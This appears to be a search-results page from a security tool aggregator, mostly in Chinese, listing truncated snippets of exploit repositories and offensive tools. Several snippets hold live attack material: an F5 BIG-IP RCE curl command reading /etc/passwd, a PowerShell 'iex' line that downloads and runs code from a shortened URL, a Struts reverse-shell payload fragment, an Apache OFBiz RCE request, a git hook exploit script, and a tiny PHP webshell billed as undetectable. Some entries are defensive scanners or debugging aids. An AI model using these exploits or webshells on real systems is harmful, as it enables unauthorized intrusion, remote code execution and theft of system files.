1132060 matches found
CVE-2016-5983
CVE-2016-5983 IBM WebSphere 不可信数据反序列化 - IBM WebSphere 7,8,8.5,9 原始文章来源链接：https://techblog.mediaservice.net/2016/10/cve-2016-5983-ibm-websphere-deserialization-of-untrusted-data/ 标题：IBM WebSphere 不可信数据反序列化 应用程序：IBM WebSphere 7,8,8.5,9 描述：当存在 WASPostParam cookie 时，应用服务器会对不可信数据进行反序列化。 root@kitploit:...
peda
peda PEDA - Python Exploit Development Assistance for GDB Key Features: Enhance the display of gdb: colorize and display disassembly codes, registers, memory information during debugging. Add commands to support debugging and exploit development for a full list of commands use peda help: aslr --...
CVE-2022-1388-RCE-checker-and-POC-Exploit
CVE-2022-1388 RCE 检测工具 简单的 bash 脚本，用于检查 CVE-2022-1388 RCE（F5 BIG-IP）。 + 用法：./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 利用 不要忘记更改 IP 地址 root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive,...
CVE-2024-32002-EXP
CVE-2024-32002-EXP root@kitploit: !/bin/bash 设置 Git 配置选项 git config --global protocol.file.allow always git config --global core.symlinks true 避免警告消息（设置默认分叉为main） git config --global init.defaultBranch main 定义 tell-tale 路径 telltalepath="$PWD/tell.tale" 初始化 hook 仓库 git init hook cd hook mkdir -p...
RFCrack
/ | | | / | | | | / \ ' - / \ / - | / \ V V / ' / \ || - /||// /| ///|. //, / / |/ | /| | | || | / | | '/ /| / / | || || , | \ root@kitploit: 欢迎使用 RFCrack — 一款软件定义无线电攻击工具 开发者：@Ficti0n - http://ConsoleCowboys.com CCLabs：http://cclabs.io 博客：console-cowboys.blogspot.com...
svn-extractor
Svn-Extractor 很多时候，Web 应用渗透测试人员会遇到 .svn 文件夹。对于那些不了解的人来说，.svn 文件夹是 SVN 版本控制系统用于执行其操作的。对于黑盒渗透测试，该文件夹包含大量信息。其中一些关键的帮助领域包括： 1. 发现隐藏的文件和文件夹名称 2. 访问文件的源代码。 3. 即使 htaccess 中设置了限制，也能下载文件。 如何实现这一点。 1. 发现隐藏的文件和文件夹名称 根据所使用的 SVN 版本，有两种方法可以实现这一点。 对于 1.6 版本，我们有 .svn/wc.db，其中包含类似的数据，但采用 sqlite3 格式。 这些文件可以通过 URL...
APKHunt
APKHunt | OWASP MASVS 静态分析器 APKHunt 是一款基于 OWASP MASVS 框架的 Android 应用全面静态代码分析工具。虽然 APKHunt 主要面向移动应用开发者和安全测试人员，但任何人都可以使用它来识别并解决代码中的潜在安全漏洞。 借助 APKHunt，移动软件架构师或开发者可以进行彻底的代码审查，确保移动应用的安全性和完整性；而安全测试人员则可以利用该工具来确认其测试结果的完整性和一致性。无论你是希望构建安全应用的开发者，还是负责确保应用安全性的信息安全测试人员，APKHunt 都能成为你工作中不可或缺的资源。 注意：该工具基于 2023 年 ...
CVE-2014-4113
CVE-2014-4113 PowerShell CVE-2014-4113 Solo Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...
CVE-2021-34527
PrintNightmare（CVE-2021-34527） 本版本的PrintNightmare漏洞利用基于Cube0x0创建的代码，具有以下特点： 能够针对多个主机。 内置SMB服务器用于载荷投递，无需开放文件共享。 利用包含MS-RPRN和MS-PAR两种协议（ 在CMD参数中定义 ）。 实现了@gentilkiwi的UNC绕过技术。 安装 运行前，请安装最新版本的impacket： root@kitploit: git clone https://github.com/SecureAuthCorp/impacket cd impacket python3 setup instal...
CVE-2025-49029
🚨 WordPress Custom Login And Signup Widget 插件 🔥 基础分数： 9.1（严重） CWE ID： CWE-94 – 生成代码的控制不当（'代码注入'） 🧠 描述 该插件允许管理员通过设置页面中的发件人名称 字段修改 sn.php 的内容。 用户提供的输入被直接写入 PHP 文件 ，未经清理或验证。 因此，在 text 参数中提供的任何PHP代码都将被存储到PHP文件中，并在直接请求时执行，导致远程代码执行（RCE） 。 📍 漏洞端点 root@kitploit:...
CVE-2022-22947-pb-ai
CVE-2022-22947 Spring Cloud Gateway 漏洞验证应用 这是一个专门用于演示和验证 CVE-2022-22947 漏洞的 Spring Cloud Gateway 应用。该应用程序使用了易受攻击的 Spring Cloud Gateway 版本，可以通过 Actuator 端点执行任意代码。 漏洞概述 CVE-2022-22947 是 Spring Cloud Gateway 中的一个远程代码执行漏洞。攻击者可以通过 Actuator 端点动态添加包含恶意 SpEL 表达式的路由来执行任意代码。 环境要求 Java 11+ Maven 3.6+ macOS...
CVE-2025-53632
CVE-2025-53632 此仓库包含一个针对 CVE-2025-53632 的利用 ，影响 Chall-Manager !WARNING Chall-Manager 处理场景的方式仍完全可被利用，无需 zip slip：只需篡改场景中的 pulumi 二进制文件，使得下一次执行时运行您的任意代码。 我们演示针对 Chall-Manager v0.1.3 的攻击。 场景 假设有一个暴露的 Chall-Manager（请不要这样做，因为它本意并非如此——它是一个按需 RCE 应用）。 创建挑战时，场景通过 Pulumi 预览进行验证。对此代码没有控制权，因此我们可以注入任何内容 。...
S2-052
CVE-2017-9805 （S2-052）反弹Shell Exploit 影响版本 root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.int...
CVE-2021-27850_POC
Exploit CVE-2021-27850 Resumen CVE-2021-27850 es una vulnerabilidad crítica de ejecución remota de código no autenticada que se encontró en todas las versiones recientes de Apache Tapestry. Al descargar el archivo AppModule.class podemos filtrar la clave secreta HMAC utilizada para firmar todos l...
maldev-for-dummies
Malware Development for Dummies In the age of EDR, red team operators cannot get away with using pre-compiled payloads anymore. As such, malware development is becoming a vital skill for any operator. Getting started with maldev may seem daunting, but is actually very easy. This workshop will sho...
CVE-2024-32113-POC
Apache OfBiz 漏洞 CVE-2024-32113 的 POC USERNAME 和 PASSWORD 参数可以在 /ecomseo/AnonContactus 接口中提供，该接口对任何人公开可访问。 POC1：RCE root@kitploit: curl --noproxy '' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \ --header 'User-Agent: Apifox/1.0.0...
CVE-2024-47176
CVE-2024-47176 CUPS漏洞扫描器：CVE-2024-47176 CVE-2024-47176 批量扫描器是一款专用工具，用于检测运行通用UNIX打印系统（CUPS）的多个系统中是否存在CVE-2024-47176漏洞。该漏洞影响CUPS，允许远程代码执行（RCE），可通过互联网打印协议（IPP）在端口631上利用。批量扫描器自动化了向目标系统列表发送精心构造的IPP请求并分析其响应以识别脆弱服务的过程。 使用方法： git clone https://github.com/aytackalinci/CVE-2024-47176.git python3...
CVE-2026-3854-PoC
CVE-2026-3854 PoC — GitHub RCE mediante inyección de opciones de push en X-Stat Solo con fines educativos y de investigación de seguridad autorizada. No lo utilices contra ningún sistema sin permiso explícito por escrito. Descripción general CVE-2026-3854 es una vulnerabilidad de ejecución remota...
nano
nano Nano 是一个 PHP webshell 家族，经过代码高尔夫优化，极其隐蔽且高效。 也许可以关注一下，我会继续在这里上传更多 webshell。 Nano root@kitploit: ?=$GETp==&&$GETf; 特性 体积仅 35 字节 无法被静态代码扫描器检测 支持身份验证 用法 http://example.com/nano.php?f=function&c=command&p=password f 代表函数 c 代表命令 p 代表密码 例如，下面的代码将执行 ls 命令：...